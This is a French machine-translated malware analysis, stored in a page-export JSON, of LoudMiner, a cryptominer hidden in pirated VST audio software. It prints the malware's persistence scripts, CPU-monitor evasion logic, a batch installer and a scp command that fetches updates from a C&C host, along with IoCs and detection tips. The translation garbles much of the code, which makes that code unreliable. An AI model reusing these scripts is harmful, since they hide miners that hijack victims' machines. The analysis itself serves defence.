{"version":"1.1","schema_version":"1.1.0","plugin_version":"1.1.2","url":"https://tutos-gameserver.fr/2019/08/06/loudminer-exploitation-multi-plateforme-dans-un-logiciel-vst-fissure-serveur-dimpression/","llm_html_url":"https://tutos-gameserver.fr/2019/08/06/loudminer-exploitation-multi-plateforme-dans-un-logiciel-vst-fissure-serveur-dimpression/llm","llm_json_url":"https://tutos-gameserver.fr/2019/08/06/loudminer-exploitation-multi-plateforme-dans-un-logiciel-vst-fissure-serveur-dimpression/llm.json","manifest_url":"https://tutos-gameserver.fr/llm-endpoints-manifest.json","language":"fr-FR","locale":"fr_FR","title":"LoudMiner: Exploitation multi-plateforme dans un logiciel VST fissuré\n\n &#8211; Serveur d&rsquo;impression","site":{"name":"Tutos GameServer","url":"https://tutos-gameserver.fr/"},"author":{"id":1,"name":"Titanfall","url":"https://tutos-gameserver.fr/author/titanfall/"},"published_at":"2019-08-06T00:47:32+00:00","modified_at":"2019-08-06T00:47:32+00:00","word_count":4353,"reading_time_seconds":1306,"summary":"L&#39;histoire d&#39;un mineur Linux livré avec des copies piratées du logiciel VST (Virtual Studio Technology) pour Windows et macOS LoudMiner est un cas inhabituel de mineur persistant dans la crypto-monnaie, distribué pour macOS et Windows depuis août 2018. Il utilise un logiciel de virtualisation &#8211; QEMU sous macOS et VirtualBox sous Windows &#8211; pour exploiter [&hellip;]","summary_points":["L&#39;histoire d&#39;un mineur Linux livré avec des copies piratées du logiciel VST (Virtual Studio Technology) pour Windows et macOS\n\nLoudMiner est un cas inhabituel de mineur persistant dans la crypto-monnaie, distribué pour macOS et Windows depuis août 2018.","Il utilise un logiciel de virtualisation &#8211; QEMU sous macOS et VirtualBox sous Windows &#8211; pour exploiter la crypto-monnaie sur une machine virtuelle Tiny Core Linux, la rendant ainsi multiplateforme.","Il est livré avec des copies piratées du logiciel VST.","Le mineur lui-même est basé sur XMRig (Monero) et utilise un pool d’extraction, il est donc impossible de retracer les transactions potentielles."],"topics":["Serveur d'impression"],"entities":[],"entities_metadata":[{"id":10,"name":"Serveur d'impression","slug":"serveur-dimpression","taxonomy":"category","count":3907,"url":"https://tutos-gameserver.fr/category/serveur-dimpression/"}],"tags":["Serveur d'impression"],"content_hash":"f94f4ea6f3e24bfd5bd3b0fc60129856","plain_text":"L&#39;histoire d&#39;un mineur Linux livré avec des copies piratées du logiciel VST (Virtual Studio Technology) pour Windows et macOS\n\nLoudMiner est un cas inhabituel de mineur persistant dans la crypto-monnaie, distribué pour macOS et Windows depuis août 2018. Il utilise un logiciel de virtualisation &#8211; QEMU sous macOS et VirtualBox sous Windows &#8211; pour exploiter la crypto-monnaie sur une machine virtuelle Tiny Core Linux, la rendant ainsi multiplateforme. Il est livré avec des copies piratées du logiciel VST. Le mineur lui-même est basé sur XMRig (Monero) et utilise un pool d’extraction, il est donc impossible de retracer les transactions potentielles.\nAu moment de la rédaction du présent document, 137 applications liées à VST (42 pour Windows et 95 pour macOS) étaient disponibles sur un seul site Web WordPress avec un domaine enregistré le 24 août 2018. La première application &#8211; Kontakt Native Instruments 5.7 pour Windows &#8211; a été téléchargé le même jour. La taille des applications rend difficile leur analyse, mais il semble raisonnable de supposer qu&#39;elles sont toutes troyens.\nLes applications elles-mêmes ne sont pas hébergées sur le site WordPress, mais sur 29 serveurs externes, disponibles dans la section IoCs. Les administrateurs du site mettent également à jour fréquemment les applications avec des versions plus récentes, ce qui rend difficile le suivi de la toute première version du mineur.\nEn ce qui concerne la nature des applications visées, il est intéressant de noter que leur objectif est lié à la production audio; ainsi, les machines sur lesquelles ils sont installés doivent avoir une bonne puissance de traitement et une consommation de processeur élevée ne surprendra pas les utilisateurs. En outre, ces applications étant généralement complexes, il n’est donc pas surprenant qu’elles soient des fichiers volumineux. Les attaquants profitent de cela pour camoufler leurs images de machine virtuelle. De plus, la décision d&#39;utiliser des machines virtuelles au lieu d&#39;une solution allégée est tout à fait remarquable et ce n&#39;est pas quelque chose que nous voyons régulièrement.\nVoici quelques exemples d&#39;applications, ainsi que des commentaires que vous pouvez trouver sur le site:\n\nRaison Propellerhead\nAbleton Live\nSylenth1\nLien\nReaktor 6\nAutoTune\n\n\nFigure 1. Commentaire n ° 1 de l’administrateur\n\n\nFigure 2. Commentaire n ° 2 de l’administrateur\n\nNous avons trouvé plusieurs discussions de forum d&#39;utilisateurs se plaignant d&#39;un qemu-system-x86_64 processus prenant 100% de leur processeur sur leur Mac:\n\nFigure 3. Rapport d&#39;utilisateur n ° 1 (https://discussions.apple.com/thread/250064603)\n\n\nFigure 4. Rapport utilisateur n ° 2 (https://toster.ru/q/608325)\n\nUn utilisateur nommé «Macloni» (https://discussions.apple.com/thread/8602989) a déclaré ce qui suit:\n«Malheureusement, nous avons dû réinstaller OSX. Le problème, c’était qu’Ableton Live 10, que je l’avais téléchargé depuis un site torrent et non depuis le site officiel, installait également un mineur, exécuté à l’arrière-plan, ce qui provoquait cet incident.» Le même utilisateur a joint des captures d’écran. du moniteur d&#39;activité indiquant 2 processus &#8211; qemu-system-x86_64 et outils-service &#8211; utiliser 25% des ressources du processeur et fonctionner en tant que root. ”\nL&#39;idée générale des analyses macOS et Windows reste la même:\n\nUne application est fournie avec un logiciel de virtualisation, une image Linux et des fichiers supplémentaires utilisés pour assurer la persistance.\nL’utilisateur télécharge l’application et suit les instructions ci-jointes pour l’installer.\nLoudMiner est installé en premier, le logiciel VST après.\nLoudMiner se cache et devient persistant au redémarrage.\nLa machine virtuelle Linux est lancée et l&#39;extraction démarre.\nLes scripts à l&#39;intérieur de la machine virtuelle peuvent contacter le serveur C &amp; C pour mettre à jour le mineur (configuration et fichiers binaires).\n\nLors de l’analyse des différentes applications, nous avons identifié quatre versions du mineur, principalement basées sur la manière dont il est intégré au logiciel, au domaine du serveur C &amp; C, et à une chaîne de version créée par l’auteur.\nmacOS\nNous avons identifié trois versions MacOS de ce logiciel malveillant jusqu&#39;à présent. Tous comprennent les dépendances nécessaires pour exécuter QEMU dans installerdata.dmg à partir duquel tous les fichiers sont copiés sur / usr / local / bin et disposer des autorisations appropriées en cours de route. Chaque version du mineur peut exécuter deux images à la fois, chacune prenant 128 Mo de RAM et un cœur de processeur. La persistance est obtenue en ajoutant des fichiers plist dans / Bibliothèque / LaunchDaemons avec RunAtLoad mis à vrai. Ils ont aussi Rester en vie mis à true, s&#39;assurer que le processus sera redémarré s&#39;il est arrêté. Chaque version a ces composants:\n\nImages QEMU Linux.\nScripts shell utilisés pour lancer les images QEMU.\nLes démons lançaient les scripts shell au démarrage et les maintenaient actifs.\nUn script de shell de moniteur de processeur avec un démon associé qui peut démarrer / arrêter l’extraction en fonction de l’utilisation du Moniteur d&#39;activité processus est en cours d&#39;exécution.\n\nLe script du moniteur de la CPU peut démarrer et arrêter l&#39;extraction en chargeant et en déchargeant le démon. Si la Moniteur d&#39;activité processus est en cours d&#39;exécution, l&#39;extraction s&#39;arrête. Sinon, il vérifie depuis combien de temps le système est inactif:\n\n\n\nioreg -c IOHIDSystem | awk &#39;/ HIDIdleTime / print $ NF / 1000000000; sortie&#39;\n\n\n\n\n\n\n\nIoreg &#8211;c Système IOHIDS | awk &#39;/ HIDIdleTime / print $ NF / 1000000000; sortie&#39;\n\n\n\n\n\n\nSi cela fait plus de 2 minutes, l’extraction commence. Si cela fait moins de 2 minutes, il vérifie l’utilisation totale de la CPU:\n\n\n\nps -A -o% cpu | awk &#39;s + = $ 1 END print s&#39;\n\n\n\n\n\n\n\nps &#8211;UNE &#8211;o %CPU | awk &#39;s + = $ 1 END print s&#39;\n\n\n\n\n\n\ndivise cela par le nombre de cœurs de la CPU:\n\n\n\nsysctl hw.logicalcpu | awk &#39;print $ 2&#39;)\n\n\n\n\n\n\n\nsysctl hw.logiccpu |awk &#39;print $ 2&#39;)\n\n\n\n\n\n\net s&#39;il est supérieur à 85%, il arrête l&#39;extraction. Le script lui-même est un peu différent selon les versions, mais l&#39;idée générale reste la même.\nUne fois l&#39;installation terminée, tous les fichiers d&#39;installation liés à Miner sont supprimés.\n\nFigure 5. Installation de Polyverse.Music.Manipulator.v1.0.1.macOS.dmg\n\n\nFigure 6. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg    instructions d&#39;installation\n\nVersion 1\nLes fichiers Miner contenus dans le package d&#39;application téléchargé ne sont aucunement masqués ni placés dans un autre package. ils sont installés à côté du logiciel aux endroits suivants:\n\n/ Bibliothèque / Application Support / .Qemusys\n\nqemu-system-x86_64 &#8211; binaire QEMU propre\nsys00_1-disk001.qcow2 &#8211; image Linux (première)\nqemuservice &#8211; script shell qui lance la première image via le qemu-system-x86_64 binaire (voir le script 1)\n\n\n/ Bibliothèque / Application Support / .System-Monitor\n\nsystem-monitor.daemon &#8211; lance la première image via moniteur système binaire\n\n\n/ usr / local / bin\n\n.Outils-Service\n\nsys00_1-disk001.qcow2 &#8211; image Linux (seconde)\ntools-service.daemon &#8211; lance la deuxième image via outils-service binaire\n\n\ncpumonitor &#8211; démarre / arrête l&#39;exploration en fonction du temps d&#39;inactivité et de l&#39;utilisation du processeur\nmoniteur système &#8211; copie de qemu-system-x86_64 binaire\noutils-service &#8211; copie de qemu-system-x86_64 binaire\n\n\n/ Bibliothèque / LaunchDaemons\n\nbuildtools.system-monitor.plist &#8211; lancements system-monitor.daemon\nbuildtools.tools-service.plist &#8211; lancements tools-service.daemon\nmodulesys.qemuservice.plist &#8211; lancements qemuservice\nsystools.cpumonitor.plist &#8211; lancements cpumonitor\n\n\n\n\n\n\n#! / bin / bash\nfonction start\npgrep &quot;Moniteur d&#39;activité&quot;\nsi [ $? -eq 0 ]; puis\nlaunchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist\nautre\n/ usr / local / bin / qemu-system-x86_64 -M accel = hvf &#8211; hôte cpu / Bibliothèque / Application  Support / .Qemusys / sys00_1-disk001.qcow2 -display aucun\nFi\ndébut;\n\n\n\n\n\n\n\n#! / bin / bash\nune fonction début \npgrep &quot;Moniteur d&#39;activité&quot;\nsi [[[[ $? &#8211;eq 0 ]; puis\nlaunchctl décharger &#8211;w /Bibliothèque/LaunchDaemons/com.modulesys.qemuservice.plist\nautre\n/usr/local/poubelle/qemu&#8211;système&#8211;x86_64 &#8211;M accel=hvf &#8211;CPU hôte /Bibliothèque/Application Soutien/.Qemusys/sys00_1&#8211;disk001.qcow2 &#8211;afficher aucun\nFi\n\ndébut;\n\n\n\n\n\n\nScript 1. qemuservice script shell\nUne fois les dépendances copiées, tous les démons liés aux mineurs sont lancés, puis le logiciel proprement dit est installé:\n\nqemuservice ne lancera pas l&#39;image si le Moniteur d&#39;activité processus est en cours d&#39;exécution. En fait, s&#39;il fonctionne, il déchargera le plist par lequel il a été lancé.\ntools-service.daemon lancera l&#39;image uniquement lorsque qemu-system-x86_64 processus ne fonctionne pas et après avoir dormi pendant 45 minutes.\nSystem-monitor.daemon lancera l&#39;image uniquement si le processeur Intel i5, i7 ou i9 est détecté.\n\nCes scripts utilisent la même commande pour lancer l&#39;image QEMU, seuls les noms et le chemin de l&#39;image diffèrent.\nNous avons trouvé la capture d&#39;écran suivante liée à la version 1 du mineur:\n\nFigure 7. Consommation d&#39;UC de QEMU avec Little Snitch (source: https://imgur.com/a/sc3u6kk)\n\nC’est de Little Snitch qui indique que certaines connexions du processus qemu-system-x86_64 ont été bloqués. Plus précisément, hopto[.]org (un service de nom d’hôte gratuit) est un C &amp; C utilisé par la version 1 du mineur.\nVersion 2\nLes fichiers Miner sont en data_installer.pkg à l&#39;intérieur du package d&#39;application téléchargé. data_installer.pkg est installé en premier, puis le logiciel VST. Avant l&#39;installation, la version 1 du mineur est supprimée lors de l&#39;exécution de la commande:\n\n\nComme indiqué dans la liste du script 2, il ne le fait que lorsqu&#39;il détecte un qemu-system-x86_64 processus.\n\n\n\n#! / bin / bash\n#Clear Old\nfonction clear\nLGC = `ps aux\nclair;\n\n\n\n\n\n1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n\n\n\n\n#! / bin / bash\n#Clear Old\nune fonction clair \nLGC=`ps aux \nclair;\n\n\n\n\n\n\nScript 2 data_installer.pkg script de préinstallation qui supprime la version 1\nLes fichiers temporaires suivants sont créés:\n\n/ Utilisateurs / Partagé\n\nz1 &#8211; binaire QEMU\nz1.daemon &#8211; lance l&#39;image QEMU avec le binaire QEMU\nz1.qcow2 &#8211; image QEMU\nz1.plist &#8211; lancements z1.daemon\nz3 &#8211; Script de moniteur de processeur, peu de changement par rapport à la version 1 cpumonitor\nz3.plist &#8211; utilisé pour lancer z3\nrandwd &#8211; génère des noms aléatoires\n\n\n\nUne fois les dépendances copiées, le mineur est installé. Cette fois, les noms des fichiers binaires, des listes de plists et des répertoires QEMU sont randomisés avec randwd scénario. L’installation de mineur crée deux copies de z1, z1.daemon, z1.qcow2 et z1.plist. Voici ce qui se passe pour chaque copie:\n\nUn répertoire avec un nom aléatoire est créé dans / Bibliothèque / Support d&#39;application\nLe binaire QEMU z1 porte le même nom que le répertoire et est copié dans / usr / local / bin\nz1.daemon (voir liste dans le script 3) et z1.qcow2 sont copiés dans ce répertoire sous leurs noms aléatoires\nz1.plist est copié avec le nom com..pliste dans / Bibliothèque / LaunchDaemons\n\nz1.daemon, z1.plist, z3 et z3.plist les fichiers servent de modèles. Les références à d&#39;autres scripts, fichiers binaires, plists, etc. de ces fichiers sont remplacées par le nom aléatoire généré correspondant.\nUn nom aléatoire est également choisi pour le moniteur de la CPU (z3) shell script et son fichier de plist associé. z3 est copié dans / usr / local / bin et le plist dans / Bibliothèque / LaunchDaemons sous le nom com..pliste.\n\n\n\n#! / bin / bash\nfonction start\npgrep &quot;Moniteur d&#39;activité&quot;\nsi [ $? -eq 0 ]; puis\nlaunchctl unload -w /Library/LaunchDaemons/com.AAAA.plist\nautre\n/ usr / local / bin / BBBB -M accel = hvf &#8211; hôte cpu / Bibliothèque / Application  Support / CCCC / DDDD &#8211; affichage aucun\nFi\ndébut;\n\n\n\n\n\n\n\n#! / bin / bash\nune fonction début \npgrep &quot;Moniteur d&#39;activité&quot;\nsi [[[[ $? &#8211;eq 0 ]; puis\nlaunchctl décharger &#8211;w /Bibliothèque/LaunchDaemons/com.AAAA.plist\nautre\n/usr/local/poubelle/BBBB &#8211;M accel=hvf &#8211;CPU hôte /Bibliothèque/Application Soutien/CCCC/DDDD &#8211;afficher aucun\nFi\n\ndébut;\n\n\n\n\n\n\nScript 3. z1.daemon script shell\nLa version 2 est un peu plus propre et / ou plus simple que la version 1. Il n&#39;y a qu&#39;une seule image QEMU, avec deux copies réalisées; même chose pour les scripts de lancement d’image, les démons et le cpumonitor. Même si la version 2 randomise ses noms de fichiers et ses répertoires, elle ne peut être installée qu&#39;une seule fois car l&#39;installation vérifie les processus en cours d&#39;exécution avec accel = hvf dans leur ligne de commande.\nDepuis les applications de la version 2 que nous avons vérifiées jusqu’à présent, le hachage SHA1 du data_installer.pkg est toujours 39a7e86368f0e68a86cce975fd9d8c254a86ed93.\nVersion 3\nLes fichiers de mineur sont dans un fichier DMG crypté, appelé do.dmg, à l&#39;intérieur du package d&#39;application. Le DMG est monté avec la commande suivante:\n\n\n\nprintf &#39;% s  0&#39; &#39;VeryEasyPass123!&#39; | hdiutil attachez -noverify /Users/Shared/instapack/do.dmg -stdinpass.\n\n\n\n\n\n\n\nprintf &#39;% s  0&#39; &#39;VeryEasyPass123!&#39; | hdiutil attacher &#8211;noverify /Utilisateurs/partagé/instapack/faire.Dmg &#8211;stdinpass.\n\n\n\n\n\n\nLe mineur DMG contient un seul paquet: datainstallero.pkg. Ceci et le progiciel sont ensuite installés.\nLe contenu de l&#39;emballage de datainstallero.pkg et data_installer.pkg à partir de la version 2 sont plus ou moins les mêmes, mais datainstallero.pkg ajoute deux scripts obscurcis &#8211; clearpacko.sh et installpacko.sh &#8211; et obscurcit un script existant &#8211; randwd:\n\nclearpacko.sh supprime la version 1 du mineur comme la version 2.\ninstallpacko.sh installe le mineur de la même manière que la version 2, sauf que les commentaires ont été supprimés du script.\n\nLe SHA1 du do.dmg reste le même: b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9.\nLancer l&#39;image Linux\nToutes les versions utilisent plusieurs scripts de shell pour lancer les images. Les scripts shell sont exécutés par les plists au démarrage et sont maintenus en vie.\n\nLa version 1 exécute les fichiers binaires suivants (copies de qemu-system-x86_64) pour lancer les images QEMU: qemu-system-x86_64, moniteur système, outils-service.\nLes versions 2 et 3 utilisent la même commande, mais le nom du fichier binaire, répertoire dans Support d&#39;application et le nom de fichier QEMU est aléatoire.\n\nToutes les versions utilisent les commutateurs suivants:\n\n-M accel = hvf utiliser le framework Hypervisor comme accélérateur. HVF a été introduit avec OS X 10.10 et un support pour HVF a été ajouté dans QEMU 2.12, qui a été publié en avril 2018.\n-display aucun de sorte que la machine virtuelle s&#39;exécute sans interface graphique.\n\nÉtant donné que l&#39;image est lancée sans spécifier la quantité de RAM et le nombre de cœurs de la CPU, les valeurs par défaut sont utilisées: 1 cœur de la CPU et 128 Mo de RAM. Toutes les versions peuvent lancer 2 images.\nWindows (version 4)\nÀ partir des chaînes que nous avons extraites de l&#39;application, nous définissons la seule version de Windows vue jusqu&#39;à présent, la version 4. Comme nous l&#39;avons mentionné précédemment, la logique est assez similaire à la version macOS. Chaque application Windows est présentée sous la forme d’un programme d’installation MSI qui installe à la fois l’application «fissurée» et la figure 8 illustre la zone de confiance pour l’installation du pilote VirtualBox lors de l’exécution d’un programme d’installation VST «fissuré» à partir de vstcrack.[.]com.\n\nFigure 8. Fenêtre contextuelle de confiance pour un pilote VirtualBox lors de l&#39;installation d&#39;une application à partir de vstcrack[.]com\n\nVirtualBox est installé dans son nom de dossier habituel (C:  Program Files  Oracle) cependant, les attributs du répertoire sont réglés sur «masqué». Le programme d’installation copie ensuite l’image Linux et VBoxVmService (un service Windows utilisé pour exécuter une machine virtuelle VirtualBox en tant que service) dans C:  vms, qui est aussi un répertoire caché. Une fois l’installation terminée, le programme d’installation exécute un script de traitement par lots compilé avec BAT2EXE (voir la liste des packages décompressés dans le script 4) pour importer l’image Linux et exécuter VmServiceControl.exe pour démarrer la machine virtuelle en tant que service.\n\n\n\n@Écho off\nsetlocal EnableExtensions EnableDelayedExpansion\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; dossier machine de la propriété &quot;% userprofile%  appdata  roaming&quot;\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; import &quot;c:  vms  tmp  sys00_1.ova&quot;\nxcopy / Y &quot;C:  Windows  System32  Config  systemprofile  .VirtualBox&quot; &quot;C:  vms  .VirtualBox &quot;\n&quot;C:  vms  VmServiceControl.exe&quot; -i\ndel / F &quot;c:  vms  tmp  sys00_1.ova&quot;\n\n\n\n\n\n\n\n@écho de\nsetlocal EnableExtensions EnableDelayedExpansion\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; set property dossier machine &quot;% userprofile%  appdata  roaming&quot;\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; importation &quot;c:  vms  tmp  sys00_1.ova&quot;\nxcopy /Y &quot;C:  Windows  System32  Config  systemprofile  .VirtualBox&quot; &quot;C:  vms  .VirtualBox &quot;\n&quot;C:vmsVmServiceControl.EXE&quot; -je\ndel / F &quot;c:vmstmpsys00_1.ovules&quot;\n\n\n\n\n\n\nScript 4. Script batch utilisé pour exécuter la machine virtuelle Linux en tant que service\nCette méthode est utilisée pour assurer la persistance du mineur après le redémarrage. En effet, VboxVmService est livré avec un fichier de configuration (voir Script 5) dans lequel il est possible d&#39;activer le AutoStart option pour que la machine virtuelle soit automatiquement lancée au démarrage.\n\n\n\n[Settings]\nVBOX_USER_HOME = C:  vms  .VirtualBox\nRunWebService = no\nPauseShutdown = 5000\n[Vm0]\nVmName = sys00_1\nShutdownMethod = acpipowerbutton\nAutoStart = oui\n\n\n\n\n\n\n\n[[[[Réglages]\nVBOX_USER_HOME=C:vms.VirtualBox\nRunWebService=non\nPauseArrêt=5000\n[[[[Vm0]\nVmName=sys00_1\nMéthode d&#39;arrêt=acpipowerbutton\nAutoStart=Oui\n\n\n\n\n\n\nScript 5. Fichier de configuration pour VBoxVmService avec AutoStart activée\nLe fichier OVF inclus dans l&#39;image Linux décrit la configuration matérielle de la machine virtuelle (voir Script 6): elle utilise 1 Go de RAM et 2 cœurs de processeur (avec une utilisation maximale de 90%).\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n&lt;Matériel&gt;\n&lt;CPU compter=&quot;2&quot; exécutionCap=&quot;90&quot;&gt;\n&lt;PAE activée=&quot;vrai&quot;/&gt;\n&lt;LongMode activée=&quot;vrai&quot;/&gt;\n&lt;X2APIC activée=&quot;vrai&quot;/&gt;\n&lt;MatérielVirtExLargePages activée=&quot;vrai&quot;/&gt;\n&lt;/CPU&gt;\n&lt;Mémoire RAMSize=&quot;1024&quot;/&gt;\n\n\n\n\n\n\nScript 6. Configuration matérielle de l&#39;image Linux\nImage de Linux\nL&#39;image Linux est Tiny Core Linux 9.0 configuré pour exécuter XMRig, ainsi que certains fichiers et scripts pour maintenir le mineur à jour en permanence. Les fichiers les plus intéressants sont:\n\n/root/.ssh/id_rsa, id_rsa.pub &#8211; la clé de paire SSH utilisée pour mettre à jour le mineur à partir du serveur C &amp; C à l&#39;aide de SCP.\n/opt/bootsync.sh, bootlocal.sh &#8211; les commandes de démarrage du système qui tentent de mettre à jour le mineur à partir du serveur C &amp; C et de l&#39;exécuter (voir Scripts 7 et 8):\n\n\n\n\n/ usr / bin / sethostname box\n/opt/bootlocal.sh 2&gt; &amp; 1&gt; / dev / null &amp;\necho &quot;booting&quot;&gt; / etc / sysconfig / noautologin\n\n\n\n\n\n\n\n/usr/poubelle/sethostname boîte\n/opter/bootlocal.sh 2&gt;Et1 &gt; /dev/nul Et\nécho &quot;démarrage&quot; &gt; /etc/sysconfig/noautologin\n\n\n\n\n\n\nScript 7. bootsync.sh\n\n\n\n/ mnt / sda1 / tools / bin / idgenerator 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / xmrig_update 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / ccommand_update 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / ccommand 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / xmrig\n\n\n\n\n\n\n\n/mnt/sda1/outils/poubelle/générateur d&#39;énergie 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/xmrig_mettre à jour 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/commande_mettre à jour 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/commande 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/xmrig\n\n\n\n\n\n\nScript 8. bootlocal.sh\n\n/ mnt / sda1 / tools / bin &#8211; les fichiers principaux et les scripts utilisés pour mettre à jour et exécuter le mineur.\n/ mnt / sda1 / tools / xmrig &#8211; contient le code source de XMRig (à partir du référentiel GitHub).\n\nLa configuration du mineur est stockée dans /mnt/sda1/tools/bin/config.json et contient principalement le nom de domaine et le port utilisé pour le pool d’extraction, qui peuvent varier en fonction de la version (voir des exemples dans la section IoC).\nLe mécanisme de mise à jour est effectué via SCP (Secure File Copy) par trois scripts différents:\n\nxmrig_update &#8211; met à jour la configuration du mineur (config.json)\ncommande &#8211; mises à jour ccommand_update, xmrig_update (voir le script 9), updater.sh, xmrig;\nccommand_update &#8211; mises à jour commande;\n\nD&#39;après ce que nous avons vu, la configuration du mineur est mise à jour une fois par jour.\n\n\n\n#! / bin / sh\nping -w 40 127.0.0.1\ncd / mnt / sda1 / tools / bin / &amp; scp -P 5100 -C -o StrictHostKeyChecking = no -o UserKnownHostsFile = / dev / null x01@system-update.is: ctrl / cowboinvox`date +% Y% m% d `config.json.new &amp;&amp; mv config.json config.json.bkp &amp;&amp; mv config.json.new config.json\n\n\n\n\n\n\n\n#! / bin / sh\nping &#8211;w 40 127.0.0.1\nCD /mnt/sda1/outils/poubelle/ &amp;&amp; scp &#8211;P 5100 &#8211;C &#8211;o StrictHostKeyChecking=non &#8211;o UserKnownHostsFile=/dev/nul x01@système&#8211;mettre à jour.est:ctrl/cowboinvox`rendez-vous amoureux +%Y%m%ré` config.JSON.Nouveau &amp;&amp; mv config.JSON config.JSON.bkp &amp;&amp; mv config.JSON.Nouveau config.JSON\n\n\n\n\n\n\nScript 9. xmrig_update\nAfin d’identifier une session d’extraction particulière, un fichier contenant l’adresse IP de la machine et la date du jour est créé par le générateur d&#39;énergie Le script et sa sortie sont envoyés au serveur C &amp; C par le updater.sh scénario.\nÉvidemment, le meilleur conseil à se protéger contre ce type de menace est de ne pas télécharger des copies piratées de logiciels commerciaux. Toutefois, il existe des astuces qui peuvent vous aider à identifier le moment où une application contient du code indésirable:\n\nConfiance provenant d’un programme d’installation «supplémentaire» inattendu (dans ce cas, la carte réseau Oracle).\nConsommation de processeur élevée par un processus que vous n&#39;avez pas installé (QEMU ou VirtualBox dans ce cas).\nUn nouveau service ajouté à la liste des services de démarrage (Windows) ou un nouveau démon de lancement (macOS).\nConnexions réseau à des noms de domaine curieux (tels que system-update[.]info ou vérification du système[.]services ici).\n\nDes hachis\napplications «fissurées» macOS (versions 1 à 3)\n\n\n\nSHA-1\nNom de fichier\nNom de détection ESET\nNuméro de version\n\n\n\n\n71030028c4e1b844c85138bd77ddea96a190ec2c\nVirtual_DJ_8_Pro_Infinity_macOS.pkg\nOSX / LoudMiner.A\n1\n\n\n32c80edcec4f7bb3b494e8949c6f2014b7f5db65\nNative Instruments Massive Installer.pkg\nOSX / LoudMiner.A\n1\n\n\n7dc9f8ca07cd8e0247cf15cd8d2da2190a02fc90\nMassive_v1.5.5_Installer_macOS.dmg\nOSX / LoudMiner.B\n2\n\n\n0b40bd0754637d5be2ada760ff0ecfda7afe03d7\nNative_Instruments_Effects_Series_Mod_Pack.dmg\nOSX / LoudMiner.B\n2\n\n\n88efc767a32299e922f1b41f82c8d584585e2161\nSpectrasonics_Omnisphere_2.5_OSx.dmg\nOSX / LoudMiner.C\n3\n\n\ne9c9d17d006fb03d67b736c0826df0af8ca6d5fd\nLennar_Digital_Sylenth1_2.2.1.dmg\nOSX / LoudMiner.C\n3\n\n\n\nApplications «fissurées» de Windows (version 4)\n\n\n\nSHA-1\nNom de fichier\nNom de détection ESET\n\n\n\n\n23faacfc23cfef65504d7fa20854030b96a9df91\nAbleton.Live.Suite.10.0.6.Multilingual.x64.WIN.zip\nWin32 / LoudMiner.A\n\n\n5a8682eae69b2e11d45980941a972bd734630207\nInfected-Mushroom-Manipulator-V1.0.3.zip\nWin32 / LoudMiner.A\n\n\n60a8f1d4a028153271093e815e8267bd25fde852\nSonic_Academy_ANA_2.0.3_x86_x64.msi\nWin32 / LoudMiner.A\n\n\n7c7876058783da85d5502b9406f7fb4d26f66238\nSoundToys_5.0.1_x64-SetupFiles.rar\nWin32 / LoudMiner.A\n\n\na1a1dc7876d71749a8bc5690c537451770ef4ab8\nValhalla-DSP-Full-Bundle-setupfiles.zip\nWin32 / LoudMiner.A\n\n\n\nImages Linux\n\n\n\nSHA-1\nNom de fichier\nNuméro de version\n\n\n\n\ndd9b89a3c5a88fb679f098e2c2847d22350e23b1\nsys00_1-disk001.qcow2\n1\n\n\nd1e42e913da308812dd8da1601531b197c1a09a1\nsys00_1-disk001.qcow2\n1\n\n\n39a7e86368f0e68a86cce975fd9d8c254a86ed93\nz1.qcow2 (renommé avec un nom aléatoire)\n2\n\n\n59026ffa1aa7b60e5058a0795906d107170b9e0f\nz1.qcow2 (renommé avec un nom aléatoire)\n3\n\n\nfcf5c3b560295ee330b97424b7354fd321757cc6\nsys00_1.ova\n4\n\n\nfc60431a0172d5b8cf4b34866567656467cf861c\nsys00_1.ova\n4\n\n\n\nNoms de fichiers\nmacOS\n\n/ Bibliothèque / Application Support / .Qemusys\n/ Bibliothèque / Application Support / .System-Monitor\n/usr/local/bin/.Tools-Service, cpumonitor, moniteur système, tools-service\n/Bibliothèque/LaunchDaemons/com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist\n\nles fenêtres\nNoms d&#39;hôtes\nvstcrack[.]com (137[.]74.151.144)\nHôtes de téléchargement (via HTTP sur le port 80)\n\n185[.]112.156.163\n185[.]112.156.29\n185[.]112.156.70\n185[.]112.157.102\n185[.]112.157.103\n185[.]112.157.105\n185[.]112.157.12\n185[.]112.157.181\n185[.]112.157.213\n185[.]112.157.24\n185[.]112.157.38\n185[.]112.157.49\n185[.]112.157.53\n185[.]112.157.65\n185[.]112.157.72\n185[.]112.157.79\n185[.]112.157.85\n185[.]112.157.99\n185[.]112.158.112\n185[.]112.158.133\n185[.]112.158.186\n185[.]112.158.190\n185[.]112.158.20\n185[.]112.158.3\n185[.]112.158.96\nd-d[.]hôte (185[.]112.158.44)\nd-d[.]vivre (185[.]112.156.227)\nd-d[.]espace (185[.]112.157.79)\nm-m[.]icu (185[.]112.157.118)\n\nMettre à jour les hôtes (via SCP)\n\naly001[.]hopto.org (192[.]210.200.87, port 22)\nmise à jour du système[.]est (145[.]249.104.109, port 5100)\n\nMining hôtes\n\nmise à jour du système[.]info (185)[.]193.126.114, port 443 ou 8080)\nverification du système[.]services (82[.]221.139.161, port 8080)\n\n\n\n\nTactique\nID\nprénom\nLa description\n\n\n\n\nExécution\nT1035\nExécution du service\nSous Windows, l&#39;image Linux est exécutée en tant que service avec 